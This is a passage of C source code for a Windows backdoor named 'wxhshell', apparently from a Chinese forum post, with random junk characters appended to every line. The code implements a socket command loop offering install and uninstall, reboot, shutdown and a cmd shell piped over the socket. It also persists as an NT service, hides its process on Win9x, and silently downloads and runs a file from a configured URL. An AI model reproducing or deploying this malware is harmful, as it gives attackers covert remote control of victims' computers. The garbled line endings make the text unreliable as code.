  } *0*1.>Vg  
  else { CDNh9`  
"_g3{[es!  
    switch(cmd[0]) { e\9H'$1\  
  UBgheu  
  // 帮助 Xy0KZ !  
  case '?': { ZwC\n(_y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \Q CH.~]  
    break; A6D@#(D  
  } f vAF0 a  
  // 安装 -0 e&>H%  
  case 'i': { gbC!>LV  
    if(Install()) H{XD>q.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D^G5$h i  
    else l6[0i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QJsud{ada  
    break; |uT &M`7\{  
    } +2ZBj6 e9  
  // 卸载 7QOQG:-  
  case 'r': { fsA-}Qc  
    if(Uninstall()) f|U J%}$v;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /5PV|o nO  
    else ~O;'],#Co  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f&n6;N  
    break; UC u4S >  
    } /+11`B09  
  // 显示 wxhshell 所在路径 r"%uP[H  
  case 'p': { YgeU>I|v  
    char svExeFile[MAX_PATH]; h rksPK"s2  
    strcpy(svExeFile,"\n\r"); |t1ij'N  
      strcat(svExeFile,ExeFile); S7I8BS[*v  
        send(wsh,svExeFile,strlen(svExeFile),0); :k-(%E](  
    break; VSxls  
    } "#3p=}]  
  // 重启 Tej&1'G  
  case 'b': { ^2|G0d@.:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0c pI2  
    if(Boot(REBOOT)) ranlbxp2l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &3o[^_Ti  
    else { |x Nd^  
    closesocket(wsh); 3 zF"GT  
    ExitThread(0); '&|]tu:q  
    } N9[2k.oBH  
    break; "I7 Sed7  
    } OLl?1  
  // 关机 Dd=iYM m7  
  case 'd': { ITq$8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cP]5Qz   
    if(Boot(SHUTDOWN)) SU {U+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B(omD3jzN  
    else { ;'|Mt)\  
    closesocket(wsh); uia[>&2  
    ExitThread(0); 3hPj;-u  
    } x'uxSeH$  
    break; M.[A%_|P  
    } r N.<S[  
  // 获取shell P XH"%vVF  
  case 's': { MV~-']2u  
    CmdShell(wsh); ^EG@tB $<  
    closesocket(wsh); 7p!w(N?s  
    ExitThread(0); I1TzPe  
    break; =` %iv|>r0  
  } h/AL `$  
  // 退出 1>$}N?u:T  
  case 'x': { `4&a"`&$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9uRs@]i  
    CloseIt(wsh); lwhVP$q}  
    break; Z,? T`[4B  
    } --32kuF&(  
  // 离开 f"wm]Q59  
  case 'q': { OFyZY@B-C~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =>_k;x  
    closesocket(wsh); 4raKhN"  
    WSACleanup(); CQ(;L{}  
    exit(1); xIrRFK9[Q  
    break; 8%Wg;:DZx  
        } ;`TSu5/  
  } ,J (+%#$UT  
  } cl4Vi%   
4ZRE3^y\"  
  // 提示信息 .&Vy o<9Ck  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XQH wu  
} \k8|3Y~g  
  } 9qqzCMrI0e  
Y?^1=9?6  
  return; '%D$|)  
} /{j")  
oI!L2  
// shell模块句柄 Sv E|"  
int CmdShell(SOCKET sock)  <0,szw  
{ s[ CnJZ\q  
STARTUPINFO si; 0( s io\  
ZeroMemory(&si,sizeof(si)); H/eyc`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bay7%[BLB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WC?}a^ 8  
PROCESS_INFORMATION ProcessInfo; 'A|OVyH  
char cmdline[]="cmd"; /j{`hi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -9.Rmv#og{  
  return 0; gm-m_cB<  
} d+6 by,'  
-quWnn/  
// 自身启动模式 CQLh;W`Dc  
int StartFromService(void) XO=UKk+EK  
{ R m{\ R  
typedef struct @rTAbEk{U  
{ @\!9dK-W  
  DWORD ExitStatus; icX$<lD  
  DWORD PebBaseAddress; 6L2Si4OGjG  
  DWORD AffinityMask; vfh0aW-O  
  DWORD BasePriority; N1O& fMz  
  ULONG UniqueProcessId; A(xCW+h@)  
  ULONG InheritedFromUniqueProcessId; [~ Wiy3n  
}   PROCESS_BASIC_INFORMATION; Rj/9\F3H  
NW$C1(oT  
PROCNTQSIP NtQueryInformationProcess; ddR_+B*H  
4s Vr]p`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e' `xU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d^&F%)AT  
$S"QyAH~-a  
  HANDLE             hProcess; ) LA^j|Y}  
  PROCESS_BASIC_INFORMATION pbi; h%hE$2  
I& `>6=)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'k9?n)<DW  
  if(NULL == hInst ) return 0; ~vCfMV[F  
S[TJ{ L(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `f@VX :aL}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  l*+"0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <Wn"_Ud=  
gAx8r-` `  
  if (!NtQueryInformationProcess) return 0; sH^?v0^a  
h-XMr_F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wGqQR)a  
  if(!hProcess) return 0; _t:l:x.;T  
a=55bEn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '.@'^80iQ  
3b_tK^|'  
  CloseHandle(hProcess); i w,F)O  
{(DD~~)D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3wS{@'  
if(hProcess==NULL) return 0; !f(aWrw7e6  
:Rs% (Z  
HMODULE hMod; h=q%h8  
char procName[255]; 2C@hjw(  
unsigned long cbNeeded; OFJ T  
&M)S~Hb^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "CEy r0h  
}T?MWcG4  
  CloseHandle(hProcess); XsldbN^ 6  
~IHjj1s  
if(strstr(procName,"services")) return 1; // 以服务启动 ^J8sR4p#  
^6?NYHMr=  
  return 0; // 注册表启动 (1bz.N8z  
} `.# l_-U{  
@G vDl=.  
// 主模块 I5"ew=x#  
int StartWxhshell(LPSTR lpCmdLine) M y:9  
{ CqXD z  
  SOCKET wsl; -DO*,Eecv  
BOOL val=TRUE; w"CcWng1  
  int port=0; lR!Sdd} -  
  struct sockaddr_in door; (% fl  
CfMq?.4%E}  
  if(wscfg.ws_autoins) Install(); &FWPb#  
_v=@MOI/J  
port=atoi(lpCmdLine); o W)M&$oS  
n'/w(o$&  
if(port<=0) port=wscfg.ws_port; :!a9|Fh~  
:<%q9)aPf`  
  WSADATA data; n2bL-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mm3goIi; Y  
n6gYZd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S7Xr~5>X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J&{qe@^  
  door.sin_family = AF_INET; WgdL^PN(h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^n@.  
  door.sin_port = htons(port); .+G),P)   
U*Z P>Vv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t)o #!)|  
closesocket(wsl); (/&IBd-  
return 1; JM{S49Lx  
} *G^n<p$"  
=&*:)  
  if(listen(wsl,2) == INVALID_SOCKET) { e`Xy!@`_  
closesocket(wsl); Sti)YCXH  
return 1; yQ4]LyS  
} K\&A}R  
  Wxhshell(wsl); {xw*H<"f<  
  WSACleanup(); r}i<cyL  
%$j)?e  
return 0; EXDtVa Ot  
j%iz>  
} dbkccO}WB  
%3e}YQe)  
// 以NT服务方式启动 LxkToO{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XD`QU m  
{ 4BG6C'`%  
DWORD   status = 0; L<>;E  
  DWORD   specificError = 0xfffffff; tb7Wr1$<  
#Zpp*S55  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8<$6ufvOv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j380=? 7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MN2#  
  serviceStatus.dwWin32ExitCode     = 0; ?JTy+V2t  
  serviceStatus.dwServiceSpecificExitCode = 0; 7?K?-Oj  
  serviceStatus.dwCheckPoint       = 0; dt Q>4C"N  
  serviceStatus.dwWaitHint       = 0; \4wM8j  
sk~rjH]-g$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nnmn@t(%r  
  if (hServiceStatusHandle==0) return; :X[(ymWNE  
KQ3]'2q  
status = GetLastError(); FxSBxz<N-A  
  if (status!=NO_ERROR) (Q !4\Gy  
{ <@n/[ +3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E|D~:M%~  
    serviceStatus.dwCheckPoint       = 0; *=L3bBu?  
    serviceStatus.dwWaitHint       = 0; E%\iNU!  
    serviceStatus.dwWin32ExitCode     = status; 0SV#M6`GX  
    serviceStatus.dwServiceSpecificExitCode = specificError; t=iSMe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Ff"o7gT  
    return; chsjY]b  
  } 2Z6#3~  
lIO.LF3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R2Fh WiL  
  serviceStatus.dwCheckPoint       = 0; [7?K9r\#  
  serviceStatus.dwWaitHint       = 0; KyW6[WA9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 22|eiW/a  
} H,qIHQW#  
hG cq>Cvf  
// 处理NT服务事件,比如:启动、停止 #d%'BUde  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fGJPZe  
{ k oo`JHC  
switch(fdwControl) 3ik  
{ 4VPL -":6  
case SERVICE_CONTROL_STOP: @`aR*B  
  serviceStatus.dwWin32ExitCode = 0; cu|gM[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $rDeI-)S  
  serviceStatus.dwCheckPoint   = 0; @D8c-`LC"*  
  serviceStatus.dwWaitHint     = 0; :(?joLA  
  { S#qd#Zk|Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c&2ZjM  
  } / Dj6Bj }  
  return; /hf}f=7kH  
case SERVICE_CONTROL_PAUSE: ,v:m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,FX;-nP%  
  break; )JE;#m0q  
case SERVICE_CONTROL_CONTINUE: aksyr$d0V<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C$\|eC j  
  break; <OF7:f  
case SERVICE_CONTROL_INTERROGATE: o:_}=1nh  
  break; s S8Z5k;  
}; km'3[}8o&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S2K_>kvG)~  
} ^AMcZ6!\  
qSj2=dlW  
// 标准应用程序主函数 _*6nTSL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r_T\%  
{ }% JLwN  
J&S$F:HM  
// 获取操作系统版本 O>xGH0H  
OsIsNt=GetOsVer(); .&.j?kb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E\#hcvP  
4H8vB^  
  // 从命令行安装 AD =@  
  if(strpbrk(lpCmdLine,"iI")) Install(); r]?ZXe$;  
=:[Jz1M5  
  // 下载执行文件 WV!qG6\W  
if(wscfg.ws_downexe) { Rj9z '?a9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )I{41/_YA  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4x.'H18  
} {bL6%._C  
,Cj1S7GFR  
if(!OsIsNt) { KgX~PP>  
// 如果时win9x,隐藏进程并且设置为注册表启动 *}Zd QJL  
HideProc(); cBM A.'uIL  
StartWxhshell(lpCmdLine); ),0_ C\  
} 8I04Nx  
else oAe]/j$  
  if(StartFromService()) ]K0<DO9  
  // 以服务方式启动 E"bYl3  
  StartServiceCtrlDispatcher(DispatchTable); WM NcPHcj  
else :y%%Vx~  
  // 普通方式启动 (;P)oB"`C  
  StartWxhshell(lpCmdLine); 0G1?  
6#fl1GdH-  
return 0; cjsQm6  
}
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只看该作者 1 发表于: 2006-10-10
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